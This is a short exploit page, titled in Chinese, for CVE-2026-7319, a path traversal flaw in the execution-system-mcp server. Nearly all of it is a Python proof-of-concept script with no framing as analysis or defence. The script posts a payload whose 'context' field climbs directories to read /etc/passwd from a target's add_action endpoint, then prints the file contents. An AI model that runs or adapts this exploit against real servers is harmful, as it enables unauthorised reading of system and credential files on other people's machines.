CVE-2026-7319 execution-system-mcp路径遍历漏洞

import requests # Exploit Title: Path Traversal in elinsky execution-system-mcp # Date: 2026-04-28 # Exploit Author: Analyst # Vendor Homepage: https://github.com/elinsky/execution-system-mcp/ # Software Link: https://github.com/elinsky/execution-system-mcp/ # Version: 0.1.0 url = "http://target-ip:port/api/tools/add_action" # Payload to read /etc/passwd using path traversal payload = { "context": "../../../../../../etc/passwd", "action": "read" } try: response = requests.post(url, json=payload) if response.status_code == 200: print("[+] Exploit successful!") print("[+] Response:") print(response.text) else: print("[-] Exploit failed or patched.") except Exception as e: print(f"Error: {e}")